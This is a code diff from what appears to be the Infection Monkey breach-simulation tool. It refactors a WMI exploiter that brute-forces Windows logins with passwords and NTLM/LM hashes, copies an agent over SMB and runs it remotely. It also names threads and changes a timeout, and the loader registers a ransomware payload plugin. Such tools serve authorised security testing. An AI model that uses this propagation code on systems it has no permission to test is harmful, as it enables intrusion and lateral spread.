diff --git a/CHANGELOG.md b/CHANGELOG.md
index 9dda4c7f9..7ff3116df 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -20,6 +20,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
   clearer instructions to the user and avoid confusion. #1684
 - The process list collection system info collector to now be a post-breach action. #1697
 - The "/api/monkey/download" endpoint to accept an OS and return a file. #1675
+- Log messages to contain human-readable thread names. #1766
 
 ### Removed
 - VSFTPD exploiter. #1533
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 5920d1883..63c8c5c3b 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -151,20 +151,6 @@ class Configuration(object):
         """
         return product(self.exploit_user_list, self.exploit_ssh_keys)
 
-    def get_exploit_user_password_or_hash_product(self):
-        """
-        Returns all combinations of the configurations users and passwords or lm/ntlm hashes
-        :return:
-        """
-        cred_list = []
-        for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]):
-            cred_list.append(cred)
-        for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list):
-            cred_list.append(cred)
-        for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]):
-            cred_list.append(cred)
-        return cred_list
-
     @staticmethod
     def hash_sensitive_data(sensitive_data):
         """
@@ -189,7 +175,7 @@ class Configuration(object):
     aws_session_token = ""
 
     # smb/wmi exploiter
-    smb_download_timeout = 300  # timeout in seconds
+    smb_download_timeout = 30  # timeout in seconds
     smb_service_name = "InfectionMonkey"
 
     ###########################
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index df027255a..35c45c773 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -52,6 +52,7 @@ class SmbExploiter(HostExploiter):
             logger.info("Can't find suitable monkey executable for host %r", self.host)
             return False
 
+        # TODO use infectionmonkey.utils.brute_force
         creds = self._config.get_exploit_user_password_or_hash_product()
 
         exploited = False
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
index 84e1b7e8b..6cbb16780 100644
--- a/monkey/infection_monkey/exploit/tools/smb_tools.py
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -1,6 +1,7 @@
 import logging
 import ntpath
 import pprint
+from io import BytesIO
 
 from impacket.dcerpc.v5 import srvs, transport
 from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
@@ -17,10 +18,16 @@ logger = logging.getLogger(__name__)
 class SmbTools(object):
     @staticmethod
     def copy_file(
-        host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
+        host,
+        agent_file: BytesIO,
+        dst_path,
+        username,
+        password,
+        lm_hash="",
+        ntlm_hash="",
+        timeout=60,
     ):
-        # monkeyfs has been removed. Fix this in issue #1741
-        # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
+        # TODO assess the 60 second timeout
 
         smb, dialect = SmbTools.new_smb_connection(
             host, username, password, lm_hash, ntlm_hash, timeout
@@ -138,21 +145,15 @@ class SmbTools(object):
             remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
 
             try:
-                # monkeyfs has been removed. Fix this in issue #1741
-                """
-                with monkeyfs.open(src_path, "rb") as source_file:
-                    # make sure of the timeout
-                    smb.setTimeout(timeout)
-                    smb.putFile(share_name, remote_path, source_file.read)
-                """
+                smb.setTimeout(timeout)
+                smb.putFile(share_name, remote_path, agent_file.read)
 
                 file_uploaded = True
                 T1105Telem(
                     ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
                 ).send()
                 logger.info(
-                    "Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
-                    src_path,
+                    "Copied monkey agent to remote share '%s' [%s] on victim %r",
                     share_name,
                     share_path,
                     host,
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
index 078d37daa..30ae59107 100644
--- a/monkey/infection_monkey/exploit/tools/wmi_tools.py
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -1,4 +1,5 @@
 import logging
+import threading
 
 from impacket.dcerpc.v5.dcom import wmi
 from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
@@ -8,6 +9,12 @@ from impacket.dcerpc.v5.dtypes import NULL
 logger = logging.getLogger(__name__)
 
 
+# Due to the limitations of impacket library we should only run one WmiConnection at a time
+# Use impacket_user decorator to ensure that no race conditions are happening
+# See comments in https://github.com/guardicore/monkey/pull/1766
+lock = threading.Lock()
+
+
 class AccessDeniedException(Exception):
     def __init__(self, host, username, password, domain):
         super(AccessDeniedException, self).__init__(
@@ -17,6 +24,15 @@ class AccessDeniedException(Exception):
 
 
 class WmiTools(object):
+
+    @staticmethod
+    def impacket_user(func):
+        def _wrapper(*args, **kwarg):
+            with lock:
+                return func(*args, **kwarg)
+
+        return _wrapper
+
     class WmiConnection(object):
         def __init__(self):
             self._dcom = None
@@ -88,7 +104,7 @@ class WmiTools(object):
         for port_map in list(DCOMConnection.PORTMAPS.keys()):
             del DCOMConnection.PORTMAPS[port_map]
         for oid_set in list(DCOMConnection.OID_SET.keys()):
-            del DCOMConnection.OID_SET[port_map]
+            del DCOMConnection.OID_SET[oid_set]
 
         DCOMConnection.OID_SET = {}
         DCOMConnection.PORTMAPS = {}
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 54095d1e7..4c6fcc70f 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -7,10 +7,14 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
 
 from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
 from infection_monkey.exploit.tools.smb_tools import SmbTools
 from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools
+from infection_monkey.i_puppet import ExploiterResultData
 from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
+from infection_monkey.utils.brute_force import (
+    generate_brute_force_combinations,
+    get_credential_string,
+)
 from infection_monkey.utils.commands import build_monkey_commandline
 
 logger = logging.getLogger(__name__)
@@ -21,30 +25,15 @@ class WmiExploiter(HostExploiter):
     EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
     _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)"
 
-    def __init__(self, host):
-        super(WmiExploiter, self).__init__(host)
-
+    @WmiTools.impacket_user
     @WmiTools.dcom_wrap
-    def _exploit_host(self):
-        src_path = get_target_monkey(self.host)
+    def _exploit_host(self) -> ExploiterResultData:
 
-        if not src_path:
-            logger.info("Can't find suitable monkey executable for host %r", self.host)
-            return False
-
-        creds = self._config.get_exploit_user_password_or_hash_product()
+        creds = generate_brute_force_combinations(self.options["credentials"])
 
         for user, password, lm_hash, ntlm_hash in creds:
-            password_hashed = self._config.hash_sensitive_data(password)
-            lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
-            ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
-            creds_for_logging = (
-                "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): "
-                "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
-            )
-            logger.debug(
-                ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging
-            )
+            creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
+            logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}")
 
             wmi_connection = WmiTools.WmiConnection()
 
@@ -52,72 +41,69 @@ class WmiExploiter(HostExploiter):
                 wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
             except AccessDeniedException:
                 self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
-                logger.debug(
-                    ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
-                )
+                logger.debug(f"Failed connecting to {self.host} using WMI")
                 continue
             except DCERPCException:
                 self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
-                logger.debug(
-                    ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
-                )
+                logger.debug(f"Failed connecting to {self.host} using WMI")
                 continue
+
             except socket.error:
-                logger.debug(
-                    ("Network error in WMI connection to %r with " % self.host) + creds_for_logging
-                )
-                return False
+                logger.debug(f"Network error in WMI connection to {self.host}")
+                return self.exploit_result
+
             except Exception as exc:
                 logger.debug(
-                    ("Unknown WMI connection error to %r with " % self.host)
-                    + creds_for_logging
-                    + (" (%s):\n%s" % (exc, traceback.format_exc()))
+                    f"Unknown WMI connection error to {self.host}: "
+                    f"{exc} {traceback.format_exc()}"
                 )
-                return False
+                return self.exploit_result
 
             self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
+            self.exploit_result.exploitation_success = True
 
             # query process list and check if monkey already running on victim
             process_list = WmiTools.list_object(
                 wmi_connection,
                 "Win32_Process",
                 fields=("Caption",),
-                where="Name='%s'" % ntpath.split(src_path)[-1],
+                where=f"Name='{ntpath.split(self.options['dropper_target_path_win_64'])[-1]}'",
             )
             if process_list:
                 wmi_connection.close()
 
                 logger.debug("Skipping %r - already infected", self.host)
-                return False
+                return self.exploit_result
+
+            downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"])
 
-            # copy the file remotely using SMB
             remote_full_path = SmbTools.copy_file(
                 self.host,
-                src_path,
-                self._config.dropper_target_path_win_32,
+                downloaded_agent,
+                self.options["dropper_target_path_win_64"],
                 user,
                 password,
                 lm_hash,
                 ntlm_hash,
-                self._config.smb_download_timeout,
+                self.options["smb_download_timeout"],
             )
 
             if not remote_full_path:
                 wmi_connection.close()
-                return False
+                return self.exploit_result
             # execute the remote dropper in case the path isn't final
-            elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
+            elif remote_full_path.lower() != self.options["dropper_target_path_win_64"]:
                 cmdline = DROPPER_CMDLINE_WINDOWS % {
                     "dropper_path": remote_full_path
                 } + build_monkey_commandline(
                     self.host,
-                    get_monkey_depth() - 1,
-                    self._config.dropper_target_path_win_32,
+                    self.current_depth - 1,
+                    self.options["dropper_target_path_win_64"],
                 )
             else:
                 cmdline = MONKEY_CMDLINE_WINDOWS % {
                     "monkey_path": remote_full_path
-                } + build_monkey_commandline(self.host, get_monkey_depth() - 1)
+                } + build_monkey_commandline(self.host, self.current_depth - 1)
 
             # execute the remote monkey
             result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
@@ -134,7 +120,7 @@ class WmiExploiter(HostExploiter):
                 )
 
                 self.add_vuln_port(port="unknown")
-                success = True
+                self.exploit_result.propagation_success = True
             else:
                 logger.debug(
                     "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
@@ -145,11 +131,10 @@ class WmiExploiter(HostExploiter):
                     result.ReturnValue,
                     cmdline,
                 )
-                success = False
 
             result.RemRelease()
             wmi_connection.close()
             self.add_executed_cmd(cmdline)
-            return success
+            return self.exploit_result
 
-        return False
+        return self.exploit_result
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index d6edfaec2..9388d5431 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -25,7 +25,7 @@ LOG_CONFIG = {
     "disable_existing_loggers": False,
     "formatters": {
         "standard": {
-            "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%("
+            "format": "%(asctime)s [%(process)d:%(threadName)s:%(levelname)s] %(module)s.%("
             "funcName)s.%(lineno)d: %(message)s"
         },
     },
diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py
index 51627d728..edc922fa2 100644
--- a/monkey/infection_monkey/master/automated_master.py
+++ b/monkey/infection_monkey/master/automated_master.py
@@ -55,8 +55,12 @@ class AutomatedMaster(IMaster):
         )
 
         self._stop = threading.Event()
-        self._master_thread = create_daemon_thread(target=self._run_master_thread)
-        self._simulation_thread = create_daemon_thread(target=self._run_simulation)
+        self._master_thread = create_daemon_thread(
+            target=self._run_master_thread, name="AutomatedMasterThread"
+        )
+        self._simulation_thread = create_daemon_thread(
+            target=self._run_simulation, name="SimulationThread"
+        )
 
     def start(self):
         logger.info("Starting automated breach and attack simulation")
@@ -144,6 +148,7 @@ class AutomatedMaster(IMaster):
 
         credential_collector_thread = create_daemon_thread(
             target=self._run_plugins,
+            name="CredentialCollectorThread",
             args=(
                 config["credential_collector_classes"],
                 "credential collector",
@@ -152,6 +157,7 @@ class AutomatedMaster(IMaster):
         )
         pba_thread = create_daemon_thread(
             target=self._run_plugins,
+            name="PBAThread",
             args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba),
         )
 
@@ -172,6 +178,7 @@ class AutomatedMaster(IMaster):
 
         payload_thread = create_daemon_thread(
             target=self._run_plugins,
+            name="PayloadThread",
             args=(config["payloads"].items(), "payload", self._run_payload),
         )
         payload_thread.start()
diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py
index b2049eb38..c2c00c1ef 100644
--- a/monkey/infection_monkey/master/exploiter.py
+++ b/monkey/infection_monkey/master/exploiter.py
@@ -54,7 +54,10 @@ class Exploiter:
             stop,
         )
         run_worker_threads(
-            target=self._exploit_hosts_on_queue, args=exploit_args, num_workers=self._num_workers
+            target=self._exploit_hosts_on_queue,
+            name_prefix="ExploiterThread",
+            args=exploit_args,
+            num_workers=self._num_workers,
         )
 
     @staticmethod
diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py
index ee474ab49..a24b136aa 100644
--- a/monkey/infection_monkey/master/ip_scanner.py
+++ b/monkey/infection_monkey/master/ip_scanner.py
@@ -42,7 +42,10 @@ class IPScanner:
 
         scan_ips_args = (addresses, options, results_callback, stop)
         run_worker_threads(
-            target=self._scan_addresses, args=scan_ips_args, num_workers=self._num_workers
+            target=self._scan_addresses,
+            name_prefix="ScanThread",
+            args=scan_ips_args,
+            num_workers=self._num_workers,
         )
 
     def _scan_addresses(
diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py
index 4ed86cd32..be4d6caf2 100644
--- a/monkey/infection_monkey/master/propagator.py
+++ b/monkey/infection_monkey/master/propagator.py
@@ -46,10 +46,11 @@ class Propagator:
         self._hosts_to_exploit = Queue()
 
         scan_thread = create_daemon_thread(
-            target=self._scan_network, args=(propagation_config, stop)
+            target=self._scan_network, name="PropagatorScanThread", args=(propagation_config, stop)
         )
         exploit_thread = create_daemon_thread(
             target=self._exploit_hosts,
+            name="PropagatorExploitThread",
             args=(propagation_config, current_depth, network_scan_completed, stop),
         )
 
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index db32c9703..218b0e92a 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -19,6 +19,7 @@ from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
 from infection_monkey.exploit.hadoop import HadoopExploiter
 from infection_monkey.exploit.log4shell import Log4ShellExploiter
 from infection_monkey.exploit.sshexec import SSHExploiter
+from infection_monkey.exploit.wmiexec import WmiExploiter
 from infection_monkey.i_puppet import IPuppet, PluginType
 from infection_monkey.master import AutomatedMaster
 from infection_monkey.master.control_channel import ControlChannel
@@ -212,17 +213,14 @@ class InfectionMonkey:
         )
         exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repository)
 
-        puppet.load_plugin(
-            "SSHExploiter",
-            exploit_wrapper.wrap(SSHExploiter),
-            PluginType.EXPLOITER,
-        )
         puppet.load_plugin(
             "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
         )
         puppet.load_plugin(
             "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
         )
+        puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
+        puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
 
         puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
 
diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
index 769260d6b..b0f778534 100644
--- a/monkey/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -126,7 +126,7 @@ class MonkeyTunnel(Thread):
         self._stopped = Event()
         self._clients = []
         self.local_port = None
-        super(MonkeyTunnel, self).__init__()
+        super(MonkeyTunnel, self).__init__(name="MonkeyTunnelThread")
         self.daemon = True
         self.l_ips = None
         self._wait_for_exploited_machines = Event()
diff --git a/monkey/infection_monkey/utils/aws_environment_check.py b/monkey/infection_monkey/utils/aws_environment_check.py
index 31ff40186..aa60e0a55 100644
--- a/monkey/infection_monkey/utils/aws_environment_check.py
+++ b/monkey/infection_monkey/utils/aws_environment_check.py
@@ -29,6 +29,6 @@ def _report_aws_environment(telemetry_messenger: LegacyTelemetryMessengerAdapter
 def run_aws_environment_check(telemetry_messenger: LegacyTelemetryMessengerAdapter):
     logger.info("AWS environment check initiated.")
     aws_environment_thread = create_daemon_thread(
-        target=_report_aws_environment, args=(telemetry_messenger,)
+        target=_report_aws_environment, name="AWSEnvironmentThread", args=(telemetry_messenger,)
     )
     aws_environment_thread.start()
diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py
index 192905aa8..793ab655f 100644
--- a/monkey/infection_monkey/utils/brute_force.py
+++ b/monkey/infection_monkey/utils/brute_force.py
@@ -1,5 +1,5 @@
 from itertools import chain, product
-from typing import Any, Iterable, Tuple
+from typing import Any, Iterable, List, Mapping, Sequence, Tuple
 
 
 def generate_identity_secret_pairs(
@@ -38,3 +38,25 @@ def generate_username_password_or_ntlm_hash_combinations(
         product(usernames, [""], lm_hashes, [""]),
         product(usernames, [""], [""], nt_hashes),
     )
+
+
+def generate_brute_force_combinations(credentials: Mapping[str, Sequence[str]]):
+    return generate_username_password_or_ntlm_hash_combinations(
+        usernames=credentials["exploit_user_list"],
+        passwords=credentials["exploit_password_list"],
+        lm_hashes=credentials["exploit_lm_hash_list"],
+        nt_hashes=credentials["exploit_ntlm_hash_list"],
+    )
+
+
+# Expects a list of username, password, lm hash and nt hash in that order
+def get_credential_string(creds: List) -> str:
+    cred_strs = [
+        (creds[0], "username"),
+        (creds[1], "password"),
+        (creds[2], "lm hash"),
+        (creds[3], "nt hash"),
+    ]
+
+    present_creds = [cred[1] for cred in cred_strs if cred[0]]
+    return ", ".join(present_creds)
diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py
index 54bc469be..70f48bbe9 100644
--- a/monkey/infection_monkey/utils/threading.py
+++ b/monkey/infection_monkey/utils/threading.py
@@ -1,14 +1,22 @@
 import logging
+from itertools import count
 from threading import Event, Thread
 from typing import Any, Callable, Iterable, Tuple
 
 logger = logging.getLogger(__name__)
 
 
-def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_workers: int = 2):
+def run_worker_threads(
+    target: Callable[..., None],
+    name_prefix: str,
+    args: Tuple = (),
+    num_workers: int = 2,
+):
     worker_threads = []
+    counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1))
     for i in range(0, num_workers):
-        t = create_daemon_thread(target=target, args=args)
+        name = f"{name_prefix}-{next(counter)}"
+        t = create_daemon_thread(target=target, name=name, args=args)
         t.start()
         worker_threads.append(t)
 
@@ -16,8 +24,11 @@ def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_worker
         t.join()
 
 
-def create_daemon_thread(target: Callable[..., None], args: Tuple = ()) -> Thread:
-    return Thread(target=target, args=args, daemon=True)
+run_worker_threads.counters = {}
+
+
+def create_daemon_thread(target: Callable[..., None], name: str, args: Tuple = ()) -> Thread:
+    return Thread(target=target, name=name, args=args, daemon=True)
 
 
 def interruptable_iter(
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 94c4e96ec..f90df6847 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -629,4 +629,18 @@ class ConfigService:
 
         config.pop(flat_config_exploiter_classes_field, None)
 
-        return formatted_exploiters_config
+        return ConfigService._add_smb_download_timeout_to_exploiters(
+            config, formatted_exploiters_config
+        )
+
+    @staticmethod
+    def _add_smb_download_timeout_to_exploiters(
+        flat_config: Dict, formatted_config: Dict
+    ) -> Dict[str, List[Dict[str, Any]]]:
+        new_config = copy.deepcopy(formatted_config)
+        uses_smb_timeout = {"SmbExploiter", "WmiExploiter"}
+
+        for exploiter in filter(lambda e: e["name"] in uses_smb_timeout, new_config["brute_force"]):
+            exploiter["options"]["smb_download_timeout"] = flat_config["smb_download_timeout"]
+
+        return new_config
diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py
index d25856b39..45b76dd23 100644
--- a/monkey/monkey_island/cc/services/config_schema/internal.py
+++ b/monkey/monkey_island/cc/services/config_schema/internal.py
@@ -252,7 +252,7 @@ INTERNAL = {
                     "smb_download_timeout": {
                         "title": "SMB download timeout",
                         "type": "integer",
-                        "default": 300,
+                        "default": 30,
                         "description": "Timeout (in seconds) for SMB download operation (used in "
                         "various exploits using SMB)",
                     },
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py
index 659fc7205..915099f04 100644
--- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py
+++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py
@@ -1,14 +1,23 @@
 import logging
-from threading import Event
+from threading import Event, current_thread
 
-from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter
+from infection_monkey.utils.threading import (
+    create_daemon_thread,
+    interruptable_iter,
+    run_worker_threads,
+)
 
 
 def test_create_daemon_thread():
-    thread = create_daemon_thread(lambda: None)
+    thread = create_daemon_thread(lambda: None, name="test")
     assert thread.daemon
 
 
+def test_create_daemon_thread_naming():
+    thread = create_daemon_thread(lambda: None, name="test")
+    assert thread.name == "test"
+
+
 def test_interruptable_iter():
     interrupt = Event()
     items_from_iterator = []
@@ -45,3 +54,22 @@ def test_interruptable_iter_interrupted_before_used():
         items_from_iterator.append(i)
 
     assert not items_from_iterator
+
+
+def test_worker_thread_names():
+    thread_names = set()
+
+    def add_thread_name_to_list():
+        thread_names.add(current_thread().name)
+
+    run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2)
+    run_worker_threads(target=add_thread_name_to_list, name_prefix="B", num_workers=2)
+    run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2)
+
+    assert "A-1" in thread_names
+    assert "A-2" in thread_names
+    assert "A-3" in thread_names
+    assert "A-4" in thread_names
+    assert "B-1" in thread_names
+    assert "B-2" in thread_names
+    assert len(thread_names) == 6
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
index d8391717e..72dafd168 100644
--- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
@@ -180,8 +180,8 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
             {"name": "MSSQLExploiter", "options": {}},
             {"name": "PowerShellExploiter", "options": {}},
             {"name": "SSHExploiter", "options": {}},
-            {"name": "SmbExploiter", "options": {}},
-            {"name": "WmiExploiter", "options": {}},
+            {"name": "SmbExploiter", "options": {"smb_download_timeout": 300}},
+            {"name": "WmiExploiter", "options": {"smb_download_timeout": 300}},
         ],
         "vulnerability": [
             {"name": "DrupalExploiter", "options": {}},